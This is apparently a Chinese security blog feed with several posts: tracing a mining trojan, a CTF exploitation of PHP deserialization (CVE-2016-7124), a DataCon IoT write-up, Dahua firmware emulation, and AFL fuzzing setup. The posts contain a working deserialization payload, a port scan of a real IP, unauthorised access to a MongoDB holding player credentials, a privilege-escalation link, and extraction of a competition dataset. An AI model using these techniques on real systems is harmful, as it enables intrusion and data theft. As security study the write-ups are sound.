<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">PS D:\GitHub\dirsearch> nmap -PN 115.231.218.64</span><br><span class="line">Host discovery disabled (-Pn). All addresses will be marked <span class="string">'up'</span> and scan <span class="built_in">times</span> will be slower.</span><br><span class="line">Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-06 17:47 ?D1ú±ê×?ê±??</span><br><span class="line">Nmap scan report <span class="keyword">for</span> 115.231.218.64</span><br><span class="line">Host is up (0.074s latency).</span><br><span class="line">Not shown: 961 closed ports</span><br><span class="line">PORT STATE SERVICE</span><br><span class="line">23/tcp filtered telnet</span><br><span class="line">42/tcp filtered nameserver</span><br><span class="line">53/tcp filtered domain</span><br><span class="line">88/tcp open kerberos-sec</span><br><span class="line">135/tcp filtered msrpc</span><br><span class="line">139/tcp filtered netbios-ssn</span><br><span class="line">389/tcp filtered ldap</span><br><span class="line">445/tcp filtered microsoft-ds</span><br><span class="line">464/tcp filtered kpasswd5</span><br><span class="line">593/tcp filtered http-rpc-epmap</span><br><span class="line">636/tcp filtered ldapssl</span><br><span class="line">1022/tcp filtered exp2</span><br><span class="line">1023/tcp filtered netvenuechat</span><br><span class="line">1025/tcp filtered NFS-or-IIS</span><br><span class="line">1720/tcp filtered h323q931</span><br><span class="line">1723/tcp filtered pptp</span><br><span class="line">3001/tcp filtered nessus</span><br><span class="line">3003/tcp filtered cgms</span><br><span class="line">3306/tcp open mysql</span><br><span class="line">4444/tcp filtered krb524</span><br><span class="line">4899/tcp filtered radmin</span><br><span class="line">5000/tcp open upnp</span><br><span class="line">5100/tcp open admd</span><br><span class="line">5800/tcp filtered vnc-http</span><br><span class="line">5900/tcp filtered vnc</span><br><span class="line">6000/tcp open X11</span><br><span class="line">6667/tcp filtered irc</span><br><span class="line">6669/tcp filtered irc</span><br><span class="line">7000/tcp open afs3-fileserver</span><br><span class="line">7100/tcp open font-service</span><br><span class="line">8088/tcp open radan-http</span><br><span class="line">8899/tcp open ospf-lite</span><br><span class="line">49152/tcp open unknown</span><br><span class="line">49153/tcp open unknown</span><br><span class="line">49154/tcp open unknown</span><br><span class="line">49155/tcp open unknown</span><br><span class="line">49156/tcp open unknown</span><br><span class="line">49157/tcp open unknown</span><br><span class="line">49163/tcp open unknown</span><br></pre></td></tr></table></figure>
<p>在88端口下<a href="http://115.231.218.64:88/assets/">http://115.231.218.64:88/assets/</a></p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/e9nTWdI4yiSxQpj.png" alt="image-20220107161119533"></p>
<p>从其他目录可以看出,这个攻击者的服务器还用于做游戏,其中一个目录下发现了qq群图片</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/v9SkqupXLQ7VRyW.png" alt="image-20220107160503857"></p>
<p>发现的确是一个游戏相关的</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/TgQUASW9ldR7Z2h.png" alt="image-20220107162020365"></p>
<p>mysql、phpstudy暂未发现可以利用的漏洞,但是Mongo存在未授权访问,可以直接连上数据库,不过数据库内容是一些玩家的账号和密码信息等,并没有攻击者或者管理员的一些可利用的信息</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/856hQvflWi3GmMq.png" alt="image-20220107163253401"></p>
<p>如果需要进一步调查,最好的办法是直接进行社工</p>
<h2 id="挖矿木马shh分析"><a href="#挖矿木马shh分析" class="headerlink" title="挖矿木马shh分析"></a>挖矿木马shh分析</h2><p>运行shh矿马后,发现CPU已经开始超频</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/Q5hegZMzn7xrIuc.png" alt="image-20220107105626190"></p>
<p>shh开了很多保护,比如ASLR、PIE、NX</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/viDNdzqFHLAl8KB.png" alt="image-20220107165554042"></p>
<p>因为开启了PIE,每次启动程序基地址都会是一个随机的值,无法直接通过ida去定位,所以需要先计算出基地址,可以通过vmmap查看,试了第二个,然后加上ida上的偏移,成功断点定位到start的地址了</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/5iIpe3jCbB4XL89.png" alt="image-20220107144045753"></p>
<p>不过通过gdb -p的方式去调试,已经错过了输入账号密码的时候了,尝试去寻找账号配置文件,config.json</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/QntW3UhHjoklLw4.png" alt="image-20220107143706426"></p>
<p>用find去全盘搜</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/5SzBk2ZnhVlUjoa.png" alt="image-20220107144620862"></p>
<p>有一个config.json值得怀疑,因为时间跟木马感染主机时间差不多,但cat后,发现是网关地址</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/KjPcxeTiOm1z6WI.png" alt="image-20220107144912463"></p>
<p>ida继续往下翻字符串可以找到攻击者的比特币钱包地址为:8612WpYrCaST2SgtVHHvyL9SApwUKHbRV3VeYVRFG5J7SqskQJetpAYYXpoAchKsMdVN7t1au1Bo8PK7PiXp2Cdg7j3nxnE</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/g5Qw1AtbaXmM4ye.png" alt="image-20220107152020418"></p>
<p>挖矿木马用的是xmrig,攻击者的钱包地址已经逆向分析出来,但是无法溯源,攻击者没有和木马有直接的联系,而是直接把自己钱包地址的挖矿木马感染到主机</p>
]]></content>
<tags>
<tag>实战</tag>
<tag>木马</tag>
</tags>
</entry>
<entry>
<title>CVE-2016-7124</title>
<url>/2021/06/09/CVE-2016-7124(php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96)/</url>
<content><![CDATA[<h1 id="CVE-2016-7124漏洞复现—php反序列化漏洞"><a href="#CVE-2016-7124漏洞复现—php反序列化漏洞" class="headerlink" title="CVE-2016-7124漏洞复现—php反序列化漏洞"></a>CVE-2016-7124漏洞复现—php反序列化漏洞</h1><p><strong>参考攻防世界web方向Web_php_unserialize题目</strong></p>
<p>主要原因:如果存在__wakeup()函数,掉用**unserialize()**方法前会先调用wakeup方法,但如果序列化中表示属性个数的个数大于真实属性个数会跳过wakeup的执行,从而可以恶意构造字符串,反序列化成想要执行的函数</p>
<h2 id="打开题目网页php代码如下"><a href="#打开题目网页php代码如下" class="headerlink" title="打开题目网页php代码如下"></a>打开题目网页php代码如下</h2><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span> </span>{ </span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$file</span> = <span class="string">'index.php'</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$file</span></span>) </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="variable">$file</span>; </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file, <span class="literal">true</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->file != <span class="string">'index.php'</span>) { </span><br><span class="line"> <span class="comment">//the secret is in the fl4g.php</span></span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'var'</span>])) { </span><br><span class="line"> <span class="variable">$var</span> = base64_decode(<span class="variable">$_GET</span>[<span class="string">'var'</span>]); </span><br><span class="line"> <span class="keyword">if</span> (preg_match(<span class="string">'/[oc]:\d+:/i'</span>, <span class="variable">$var</span>)) { </span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'stop hacking!'</span>); </span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> @unserialize(<span class="variable">$var</span>); </span><br><span class="line"> } </span><br><span class="line">} <span class="keyword">else</span> { </span><br><span class="line"> highlight_file(<span class="string">"index.php"</span>); </span><br><span class="line">} </span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<h2 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h2><h3 id="1、需要绕过wake-up函数"><a href="#1、需要绕过wake-up函数" class="headerlink" title="1、需要绕过wake up函数"></a>1、需要绕过wake up函数</h3><p>虽然function __wakeup函数想要把你强制成index.php,但是我们依然有绕过方法</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->file != <span class="string">'index.php'</span>) { </span><br><span class="line"> <span class="comment">//the secret is in the fl4g.php</span></span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line">} </span><br></pre></td></tr></table></figure>
<p>**__wakeup()**:是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查是否存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。</p>
<p><strong>绕过方法:</strong>__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。</p>
<p>知道它的机制后我们到时候改下序列化后的字符串中的那个属性个数就ok了,此类中只有$file这一个属性和三个function而已,个数应该为1</p>
<h3 id="2、绕过正则表达式"><a href="#2、绕过正则表达式" class="headerlink" title="2、绕过正则表达式"></a>2、绕过正则表达式</h3><p>(preg_match(’/[oc]:\d+:/i’, $var))<br>而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 “c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 “ O “ , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 “ O:4 “ 这样的字符串肯定无法通过正则匹配<br>绕过方法:而O:+4没被过滤说明绕过了过滤而且最后的值不变。</p>
<h3 id="3、必须是base64加密"><a href="#3、必须是base64加密" class="headerlink" title="3、必须是base64加密"></a>3、必须是base64加密</h3><p>把上述绕过处理的字符串base64加密就行了</p>
<h2 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h2><p>先把反序列化后的代码想清楚,其实就是$a = new Demo(“f14g.php”),那么它序列化后长这样:</p>
<p><strong>O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}</strong></p>
<p>由上面分析可知有三个地方阻挡了咋们,按照上述分析,我们把”Demo”后面的1换成2,1是因为属性就$file一个,改变个数就可以绕过__wakeup()函数啦,这样咋们想访问的fl4g.php就能生效了</p>
<p>再把O:4换成O:+4这样绕过正则表达式</p>
<p>最后把我们处理的字符串进行base64加密</p>
<p>测试poc.php</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span> </span>{ </span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$file</span> = <span class="string">'index.php'</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$file</span></span>) </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="variable">$file</span>; </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file, <span class="literal">true</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->file != <span class="string">'index.php'</span>) { </span><br><span class="line"> <span class="comment">//the secret is in the fl4g.php</span></span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> Demo(<span class="string">"fl4g.php"</span>); <span class="comment">//因为说了是f14g.php文件</span></span><br><span class="line"><span class="variable">$payload</span> = serialize(<span class="variable">$a</span>); </span><br><span class="line"><span class="variable">$payload</span> = str_replace(<span class="string">':1:'</span>, <span class="string">':2:'</span>, <span class="variable">$payload</span>); <span class="comment">//绕过__wakeup()</span></span><br><span class="line"><span class="variable">$payload</span> = str_replace(<span class="string">'O:4'</span>, <span class="string">'O:+4'</span>, <span class="variable">$payload</span>); <span class="comment">//绕过正则表达式</span></span><br><span class="line">var_dump(<span class="variable">$payload</span>);</span><br><span class="line">var_dump(base64_encode(<span class="variable">$payload</span>));</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>结果:<code>TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==</code>就是咋们要传入的参数啦</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwn3e9za9wj31u605o3zj.jpg" alt="image-20210609174411533"></p>
<p>反序列化执行获取flag=”ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}”</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwn3e9bplsj31hm06sdgu.jpg" alt="image-20210609174504066"></p>
]]></content>
<tags>
<tag>Web</tag>
<tag>CVE</tag>
</tags>
</entry>
<entry>
<title>DataCon-物联网安全赛题一wp</title>
<url>/2021/10/28/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98-%E5%9B%BA%E4%BB%B6%E6%8C%96%E6%8E%98%E8%87%AA%E5%8A%A8%E5%8C%96%E4%B8%80wp/</url>
<content><![CDATA[<h2 id="数据集抓取整体思路"><a href="#数据集抓取整体思路" class="headerlink" title="数据集抓取整体思路"></a>数据集抓取整体思路</h2><p>datacon21比赛的实验服务器使用了阿里云,访问界面和主机之间的ssh信道通过websocket建立,通过抓包分析即可得到在web ssh终端的数据。通过这种方式可以把所有数据集中的数据打印到终端,再抓包还原。</p>
<h2 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h2><p><a href="https://vk9-sec.com/apt-get-privilege-escalation/">https://vk9-sec.com/apt-get-privilege-escalation/</a></p>
<h2 id="制作数据"><a href="#制作数据" class="headerlink" title="制作数据"></a>制作数据</h2><p>为了解决二进制不能打印的问题,使用了base64编码的方式打印。</p>
<p>思路是分文件夹压缩,之后base64编码为可打印字符,并在base64编码后文本文件的头尾添加标识。</p>
<p>标识符包括分隔符”:”,定界符F0F0F0,文件名,行号。添加标识的原因是ssh传输中还需要打印控制字符,以及文件传输过大可能会遇到各种网络问题,添加标识会方便数据还原和调试。</p>
<p>for f in <code>ls /home/datacon/supplychain/dataset</code> ; do tar -czvf /home/datacon/disk/sc/$f.tar.gz /home/datacon/supplychain/dataset/$f ;done</p>
<p>for f in <code>ls /home/datacon/supplychain/dataset</code> ; do base64 sc/$f.tar.gz -w 1000 | nl -s “:” -w 10 -n “rz” | sed “s/^/:F0F0F0:$f:/“ | sed “s/$/:/“ > sct/$f.txt ;done</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/FsIuRUl2ZDWk6g5.png" alt="image2021-10-12_22-25-18"></p>
<h2 id="Fiddle"><a href="#Fiddle" class="headerlink" title="Fiddle"></a>Fiddle</h2><p>设置代理抓Websocket的包。</p>
<p>添加自定义规则</p>
<p> static function OnWebSocketMessage(oMsg: WebSocketMessage) {<br> // Log Message to the LOG tab<br> Utilities.WriteArrayToFile(“E:\TEMP\datacon21\“+oMsg.ID,oMsg.PayloadAsBytes());</p>
<p> //把传输的内容存储到E:\TEMP\datacon21{消息ID}。<br> }</p>
<h4 id="危险函数处理"><a href="#危险函数处理" class="headerlink" title="危险函数处理"></a>危险函数处理</h4><p>脚本:</p>
<p>idapython批量脚本危险函数扫描</p>
<p>首先用ida命令行模式实现ida差距批量跑二进制文件</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/e1gBFRm853zEcP6.png" alt="image-20211027151956014"></p>
<p>危险函数扫描,用ida-python数据交叉和和代码交叉去遍历搜索全文的危险函数调用</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/XIr2ah1qVEPbwm5.png" alt="image-20211027152154471"></p>
<p>跑完后的结果:</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/qL3ojvVUBGyrIdh.png" alt="image-20211027152321164"></p>
<p>对结果进行清洗脚本(还需要手动在txt中替换掉一些):</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/3RkcEIoygbmLFwr.png" alt="image-20211027152516855"></p>
<p>改进:用SaTC去跑不同的固件</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/zLAg4XkfKwBYbGq.png" alt="image-20211027154052745"></p>
<p>得到部分命令注入有关的危险函数地址</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/nuASNId9mZPfW1C.png" alt="image-20211027154300951"></p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/Z6tOb8zLnGCWwYF.png" alt="image-20211027154557847"></p>
<p>用SaTC跑的过程</p>
<p><img src="https://re1own.github.io/assets/img/DataCon-%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E8%B5%9B%E9%A2%98%E4%B8%80wp/QIOrLYPCAc8aef6.png" alt="image-20211027155715171"></p>
]]></content>
<tags>
<tag>IoT</tag>
</tags>
</entry>
<entry>
<title>DaHuaFirmware_emulation</title>
<url>/2021/11/14/DaHuaFirmware-emulation/</url>
<content><![CDATA[<h1 id="大华固件模拟"><a href="#大华固件模拟" class="headerlink" title="大华固件模拟"></a>大华固件模拟</h1><p>用grep搜httpd的方式找到web服务启动脚本,为sonia,arm架构,小端可执行文件</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/tsbjLYCefXMHo3g.png" alt="image-20211114170159417"></p>
<p>qemu用户模式去启动,发现报错,卡在了PDI_productGetHwidInfoByChip函数</p>
<p><code>qemu-arm -L . ./bin/sonia</code></p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/no6VRXcf58ES2Jh.png" alt="image-20211114170325784"></p>
<p>grep搜一下这个函数,发现此函数是在lib目录下名为libpdi.so的动态链接库文件中</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/9YcGfu4BVDiZXJw.png" alt="image-20211114170523467"></p>
<p>把这个动态链接库反汇编然后查看这个PDI_productGetHwidInfoByChip函数,发现是存在一个死循环,推测我们是进入了这个循环所导致的</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/mIBZ4aPpfeYMugo.png" alt="image-20211114170856013"></p>
<p>一开始我单独的去把while的死循环给patch掉了,可以管一时之用,但后面紧接着又报错很多其他类似上述死循环的函数,而且不太好改,推测它处于一个大范围的硬件函数中,因此我们这里可以查看谁调用了PDI_productGetHwidInfoByChip函数(但目前来说很多不太好确定是谁)或者把这个函数直接返回0(采用这种方式)</p>
<p>把PDI_productGetHwidInfoByChip函数patch为:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">MOV.W R0, #0 </span><br><span class="line">BX LR</span><br></pre></td></tr></table></figure>
<p>上面的两段汇编相当于return 0,改完后PDI_productGetHwidInfoByChip函数是这样的,直接返回0了</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/zxZNJnMl9uhOavQ.png" alt="image-20211114171554787"></p>
<p>改完后输出了很多的信息,但是在PDI_getChipInfo处卡住了</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/uRz1AE7LjeZSmrW.png" alt="image-20211114171819893"></p>
<p>同样先grep,发现这个函数同样是在这个libpdi.so动态链接库中的,反汇编发现也是卡在了一个while(1)的死循环地方</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/48LklJQ7CEBr3Ds.png" alt="image-20211114171959990"></p>
<p>查看它的调用,还是太多了,因此继续改,不过跟上面有点区别</p>
<p>修改内容:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">CBZ R0, loc_78C1C 修改为了B loc_78C1C</span><br><span class="line">MOV.W R0, #0xFFFFFFFF 修改为了MOV.W R0, #0</span><br></pre></td></tr></table></figure>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/nw9maAoh3G7OD5b.png" alt="image-20211114172443175"></p>
<p>改完后反汇编ok</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/W7BshL8mxprHGuS.png" alt="image-20211114172334752"></p>
<p>输出的信息又多了一倍,卡在了函数PDI_productGetInfo处</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/OnLqWuMbSdyhJow.png" alt="image-20211114172553762"></p>
<p>又是这种死循环,出错函数是PDI_productGetInfo</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/jZsDyaKhSNmeL3Q.png" alt="image-20211114172911172"></p>
<p>因为函数开头又很多寄存器,其实也可以直接覆盖用我们自己的return 0汇编指令,但最好还是间接,对arm不熟悉还是拿个中间跳板吧</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/nyht2CXPaBMpkd1.png" alt="image-20211114173152700"></p>
<p>修改如下</p>
<p>CBZ R0, loc_78F74 ——>B loc_78F74</p>
<p>MOV.W R0, #0xFFFFFFFF —> MOV.W R0, #0</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/4wSZqKmuDGyTg2V.png" alt="image-20211114173952907"></p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/jcZA3glotquMwWU.png" alt="image-20211114173940671"></p>
<p>又卡住了,并且输出了上一次改动的地方旁边的信息</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/vNg2I6KhPr7eyUm.png" alt="image-20211114174159009"></p>
<p>卡住的函数为PDI_productGetName,调用成功应该返回0</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/l6yJtKOfS1YZWbQ.png" alt="image-20211114174319545"></p>
<p>同理修改</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/2wMbjzGtiKnsH9C.png" alt="image-20211114174645437"></p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/GwPOkrc13VMILzd.png" alt="image-20211114174657173"></p>
<p>提示段错误</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/cjio9SZI3lPmFvt.png" alt="image-20211114174751221"></p>
<p>查看有哪些调用了PDI_productGetName函数,发现挺多的,随便点进去几个看看</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/jtD2KSYd7ozgckT.png" alt="image-20211114180035418"></p>
<p>在PDI_getFaceboardCfg函数里发现原因就是调用PDI_productGetName函数时传进来的参数(作为PDI设备名字的)为空或者非法值导致的崩溃,返回值并没有错应该是0</p>
<p>这个函数可以发现,下面如”SD6C80FA-GNX”、”SD6C82FA-GNX”等为合法的设备名字,如果我们在调用设备的时候给参数赋值为前面合法的值就好啦</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/RFoCSmvx8rf7Wls.png" alt="image-20211114175833570"></p>
<p>同理其他调用者也可能会出现上述错误</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/WlkfCdpNzX1AZn7.png" alt="image-20211114180356461"></p>
<p>在上述libpdi.so几个函数中依然没有找到是谁调用PDI_productGetName函数时产生的错误,因为我搜索最近的输出的信息的字符串并没有,因此推测可能是其他二进制文件调用了此函数产生的报错!去看看,grep找一下是谁,</p>
<p>因此我们换一种角度,可能是别的二进制文件调用了此动态链接库的PDI_productGetName函数,因此去grep一下字符串”Video Server - (C) 2011-2013 ZheJiang Dahua Technology“果然有个sonia</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/s3QmNrznjyYKWxf.png" alt="image-20211114181559702"></p>
<p>找到这段字符串的地址,进去看看调用它的函数</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/draDWGunb9vHsiM.png" alt="image-20211114181836068"></p>
<p>函数sub_9BBA09就是输出蓝绿色字符串信息的函数了,但是它下面并没有调用出错的函数,查看调用它的函数只有sub_9BBAA2调用过它两次</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/XavHeb3l5STEVpw.png" alt="image-20211114181906342"></p>
<p>总启动函数:sub_3B2F8</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/wfmZYVa1bdXhuDO.png" alt="image-20211114191306016"></p>
<p>将出错的函数NOP掉直接乱了,似乎这样并不可取</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/xZq51YumJlKsDbU.png" alt="image-20211114191405670"></p>
<p>但是这样能运行,只不过好像又卡了一个死循环,但这个死循环还没找到是在动态链接库libpdi.so的哪个地方</p>
<p><img src="https://re1own.github.io/assets/img/DahuaFirmware_emulation/v49hHzdKo3YnxjA.png" alt="image-20211114191515211"></p>
<p>后续仍在研究中</p>
]]></content>
<tags>
<tag>IoT</tag>
</tags>
</entry>
<entry>
<title>Fuzz学习入门之Fuzzing-OpenEuler-file5.41</title>
<url>/2022/03/06/Fuzz%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8%E4%B9%8BFuzzing-OpenEuler-file5-41/</url>
<content><![CDATA[<p>下载AFL</p>
<p><code>git clone https://github.com/google/AFL.git</code></p>
<p><strong>Tips:需要将AFL/llvm_mode目录下alf-clang-fast.c中131~134行的代码给去掉,不然编译的时候会报错</strong></p>
<p><img src="https://tva1.sinaimg.cn/large/e6c9d24egy1h0081b92mkj21240u0ti7.jpg" alt="image-20220306154520627"></p>
<p>在AFL下make生成fuzzer</p>
<p><img src="https://tva1.sinaimg.cn/large/e6c9d24egy1h0081a3npvj21730u0gy1.jpg" alt="image-20220306154652875"></p>
<p>下载测试的项目:</p>
<p><code>git clone https://gitee.com/src-openeuler/file.git</code></p>
<p>把C和C++的编译器改为afl的afl-clang-fast和afl-clang-fast++</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> CC=/home/re1own/github/AFL/afl-clang-fast</span><br><span class="line"><span class="built_in">export</span> CXX=/home/re1own/github/AFL/afl-clang-fast++</span><br></pre></td></tr></table></figure>
<p>指定下安装目录</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">./configure --enable-shared=no --prefix=/home/re1own/Project/install/</span><br></pre></td></tr></table></figure>
<p>编译安装</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">make</span><br><span class="line">make install</span><br></pre></td></tr></table></figure>
